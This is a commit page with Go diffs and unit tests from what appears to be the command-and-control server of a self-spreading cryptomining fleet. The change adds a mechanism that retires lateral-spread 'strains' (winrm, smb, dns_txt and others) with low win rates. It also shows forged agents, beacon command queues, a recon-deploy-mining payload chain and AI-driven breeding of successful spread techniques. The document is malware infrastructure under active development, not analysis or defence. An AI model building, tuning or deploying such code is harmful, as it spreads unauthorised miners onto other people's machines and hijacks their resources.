Add Strain Hospice for graceful low-win strain retirement.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Archive failed epidemiology strains to museum hospice with SQLite persistence, operator/AI/court triggers, breeding and graft guards, topology museum nodes, and Seer plus oath ledger accountability.
This commit is contained in:
@@ -115,6 +115,15 @@ func (h *WSHub) ApproveFleetGraft(sourceID, targetID string) (strategy.GraftPoli
|
||||
if joinLane == "" {
|
||||
return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane")
|
||||
}
|
||||
sourceStrain := strategy.NormalizeStrainID(source.SpreadStrain)
|
||||
if sourceStrain == "" {
|
||||
sourceStrain = strategy.StrainFromSpreadLane(joinLane)
|
||||
}
|
||||
if inHospice, err := h.db.IsStrainInHospice(sourceStrain); err != nil {
|
||||
return strategy.GraftPolicy{}, err
|
||||
} else if inHospice {
|
||||
return strategy.GraftPolicy{}, fmt.Errorf("source strain is in hospice (museum archive)")
|
||||
}
|
||||
hr := h.AgentMiningHashrate(targetID)
|
||||
if hr <= 0 {
|
||||
hr = target.MiningHashrate
|
||||
|
||||
@@ -28,6 +28,10 @@ type ServerPolicy struct {
|
||||
ErasureLanesEnabled bool
|
||||
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
|
||||
FleetTorrentEnabled bool
|
||||
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
|
||||
StrainHospiceWinRateThreshold float64
|
||||
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.
|
||||
StrainHospiceMinAttempts int
|
||||
}
|
||||
|
||||
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
|
||||
|
||||
183
server/internal/api/strain_hospice_test.go
Normal file
183
server/internal/api/strain_hospice_test.go
Normal file
@@ -0,0 +1,183 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
func TestPostStrainHospiceOperatorRetirement(t *testing.T) {
|
||||
fh, database, hub, _ := newTestFleetHandler(t)
|
||||
|
||||
strain := strategy.StrainFromSpreadLane("winrm")
|
||||
cardJSON := `{"id":"c1","spread_strain":"` + strain + `","wins":["docker"],"losses":["wsl","winrm"]}`
|
||||
_, err := database.UpsertStrainCard("root-1", "agent-1", []byte(cardJSON), db.StoredStrainCard{
|
||||
SpreadStrain: strain, SpreadLane: "winrm", Persona: "aggressive",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"strain_id": strain,
|
||||
"reason": "dozens of variations that don't work",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/strain-hospice", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
w := httptest.NewRecorder()
|
||||
fh.PostStrainHospice(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
|
||||
}
|
||||
|
||||
ok, err := database.IsStrainInHospice(strain)
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("strain not in hospice: ok=%v err=%v", ok, err)
|
||||
}
|
||||
rec, err := database.GetStrainHospice(strain)
|
||||
if err != nil || rec.RetiredBy != string(strategy.StrainRetiredByOperator) {
|
||||
t.Fatalf("record=%+v err=%v", rec, err)
|
||||
}
|
||||
if !strings.Contains(rec.CardJSON, `"wins"`) {
|
||||
t.Fatalf("lineage card not preserved: %s", rec.CardJSON)
|
||||
}
|
||||
|
||||
rows, err := database.ListOathLedger(5)
|
||||
if err != nil || len(rows) == 0 {
|
||||
t.Fatalf("oath ledger rows=%v err=%v", rows, err)
|
||||
}
|
||||
if rows[0].ActionType != db.OathStrainHospice {
|
||||
t.Fatalf("oath action=%q", rows[0].ActionType)
|
||||
}
|
||||
|
||||
hub.refreshHospiceBreedingCache()
|
||||
reg := hub.breedingRegistry
|
||||
fp := "windows|0|0|0|0|0|127.0.0"
|
||||
_, bred := reg.RecordLaneWinner(strategy.LaneWinnerInput{
|
||||
Fingerprint: fp, SpreadLane: "winrm",
|
||||
TierOrder: []string{"container"}, PeakHashrate: 100,
|
||||
})
|
||||
if bred {
|
||||
t.Fatal("hospice lane should not breed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlayStrainCardBlockedInHospice(t *testing.T) {
|
||||
fh, database, hub, _ := newTestFleetHandler(t)
|
||||
strain := strategy.StrainFromSpreadLane("dns_txt")
|
||||
if err := database.RetireStrain(strain, "operator", "test", `{"spread_strain":"`+strain+`"}`); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
agent := &models.Agent{ID: "target", Name: "Target", Status: "online", LastSeen: time.Now().UTC()}
|
||||
if err := database.UpsertAgent(agent); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cardJSON := `{"id":"card-1","spread_strain":"` + strain + `","persona":"persuasive","tier_order":["dns_txt"]}`
|
||||
id, err := database.UpsertStrainCard("root", "src", []byte(cardJSON), db.StoredStrainCard{
|
||||
SpreadStrain: strain, SpreadLane: "dns_txt",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_ = hub
|
||||
body, _ := json.Marshal(map[string]string{"agent_id": "target", "card_id": id})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/play-strain-card", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
w := httptest.NewRecorder()
|
||||
fh.PostPlayStrainCard(w, req)
|
||||
if w.Code != http.StatusConflict {
|
||||
t.Fatalf("expected 409, got %d %s", w.Code, w.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestGraftBlockedFromHospiceSource(t *testing.T) {
|
||||
fh, database, hub, _ := newTestFleetHandler(t)
|
||||
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, FleetRolesEnabled: true, HashrateGateHPS: 1})
|
||||
|
||||
strain := strategy.StrainFromSpreadLane("winrm")
|
||||
if err := database.RetireStrain(strain, "operator", "test", "{}"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
source := &models.Agent{
|
||||
ID: "src", Name: "Src", Status: "online", JoinLane: "winrm",
|
||||
SpreadStrain: strain, MiningHashrate: 500, LastSeen: time.Now().UTC(),
|
||||
}
|
||||
target := &models.Agent{
|
||||
ID: "tgt", Name: "Tgt", Status: "online", MiningHashrate: 500, LastSeen: time.Now().UTC(),
|
||||
}
|
||||
for _, a := range []*models.Agent{source, target} {
|
||||
if err := database.UpsertAgent(a); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
hub.mu.Lock()
|
||||
hub.agentLiveTelemetry["tgt"] = map[string]interface{}{"mining_hashrate": 500.0}
|
||||
hub.mu.Unlock()
|
||||
|
||||
body, _ := json.Marshal(map[string]string{"source_agent_id": "src", "target_agent_id": "tgt"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
w := httptest.NewRecorder()
|
||||
fh.PostFleetGraft(w, req)
|
||||
var resp map[string]interface{}
|
||||
_ = json.Unmarshal(w.Body.Bytes(), &resp)
|
||||
if resp["success"] == true {
|
||||
t.Fatalf("graft should fail for hospice source: %s", w.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestMaybeAutoRetireLowWinStrains(t *testing.T) {
|
||||
_, database, hub, _ := newTestFleetHandler(t)
|
||||
hub.SetServerPolicy(ServerPolicy{
|
||||
AIControlEnabled: true,
|
||||
StrainHospiceWinRateThreshold: 0.2,
|
||||
StrainHospiceMinAttempts: 3,
|
||||
})
|
||||
strain := "#deadbeef"
|
||||
cardJSON := `{"spread_strain":"` + strain + `","wins":["a"],"losses":["b","c","d","e"]}`
|
||||
_, err := database.UpsertStrainCard("r1", "a1", []byte(cardJSON), db.StoredStrainCard{SpreadStrain: strain})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub.MaybeAutoRetireLowWinStrains()
|
||||
ok, err := database.IsStrainInHospice(strain)
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("expected AI auto hospice, ok=%v err=%v", ok, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetAIExecutorStrainHospiceCourtCommand(t *testing.T) {
|
||||
_, database, hub, _ := newTestFleetHandler(t)
|
||||
strain := strategy.StrainFromSpreadLane("smb")
|
||||
ag := &models.Agent{
|
||||
ID: "court-agent", Name: "Court", Status: "online",
|
||||
SpreadStrain: strain, JoinLane: "smb", LastSeen: time.Now().UTC(),
|
||||
}
|
||||
if err := database.UpsertAgent(ag); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
exec := &FleetAIExecutor{Hub: hub}
|
||||
sum, err := exec.Execute("court-agent", fleetai.Command{
|
||||
Type: fleetai.CmdStrainHospice,
|
||||
Args: map[string]interface{}{"reason": "court L4 hospice vote"},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(sum, "strain_hospice:") {
|
||||
t.Fatalf("unexpected summary %q", sum)
|
||||
}
|
||||
ok, _ := database.IsStrainInHospice(strain)
|
||||
if !ok {
|
||||
t.Fatal("court command should retire strain")
|
||||
}
|
||||
}
|
||||
@@ -18,6 +18,8 @@ import (
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/epidemiology"
|
||||
"crypto-miner-server/internal/mining"
|
||||
"crypto-miner-server/internal/miningsurgery"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
@@ -175,6 +177,8 @@ type WSHub struct {
|
||||
subnetAutopsies map[string]atlas.SubnetAutopsyPacket
|
||||
subnetGossipWhispers map[string][]atlas.GossipHint
|
||||
epidemiology *epidemiology.Tracker
|
||||
miningSurgery *miningsurgery.Tracker
|
||||
contingencyOrch *mining.ContingencyOrchestrator
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -227,6 +231,7 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentSubnet: make(map[string]string),
|
||||
breedingRegistry: strategy.NewBreedingRegistry(),
|
||||
epidemiology: epidemiology.NewTracker(),
|
||||
miningSurgery: miningsurgery.NewTracker(),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
@@ -234,6 +239,9 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
h.clearance = NewClearanceManager(h)
|
||||
if database != nil {
|
||||
h.refreshHospiceBreedingCache()
|
||||
}
|
||||
|
||||
// Background stale-agent sweep:
|
||||
// 3 minutes old but the row still says "online", force it offline.
|
||||
@@ -1034,6 +1042,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
h.attachEpidemiologyFix(resp, agentID)
|
||||
h.attachMiningSelfSurgery(resp, agentID)
|
||||
h.attachContingencyPolicy(resp)
|
||||
return resp
|
||||
}())})
|
||||
|
||||
@@ -1166,6 +1176,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
ContingencyDepth int `json:"contingency_depth,omitempty"`
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
SeedPressure float64 `json:"seed_pressure,omitempty"`
|
||||
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
|
||||
@@ -1338,6 +1349,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if stats.SpreadStrain != "" {
|
||||
broadcast["spread_strain"] = stats.SpreadStrain
|
||||
}
|
||||
if stats.ContingencyDepth > 0 {
|
||||
broadcast["contingency_depth"] = stats.ContingencyDepth
|
||||
}
|
||||
if stats.FleetRole != "" {
|
||||
broadcast["fleet_role"] = stats.FleetRole
|
||||
}
|
||||
@@ -1418,6 +1432,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
})
|
||||
}
|
||||
h.observeEpidemiologyFromStats(agentID, epiStats)
|
||||
h.observeMiningSelfSurgeryFromStats(agentID, epiStats)
|
||||
h.queueStatsBroadcast(broadcast)
|
||||
|
||||
case "scout_report":
|
||||
@@ -1649,6 +1664,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.ingestStrategyFromPayload(agentID, payload)
|
||||
h.queueStatsBroadcast(payload)
|
||||
|
||||
case "self_surgery_report":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
h.handleSelfSurgeryReport(agentID, msg.Payload)
|
||||
|
||||
case "onion_miner_log":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
h.handleOnionMinerLog(agentID, msg.Payload)
|
||||
|
||||
case "atlas_gossip":
|
||||
if agentID == "" {
|
||||
continue
|
||||
|
||||
Reference in New Issue
Block a user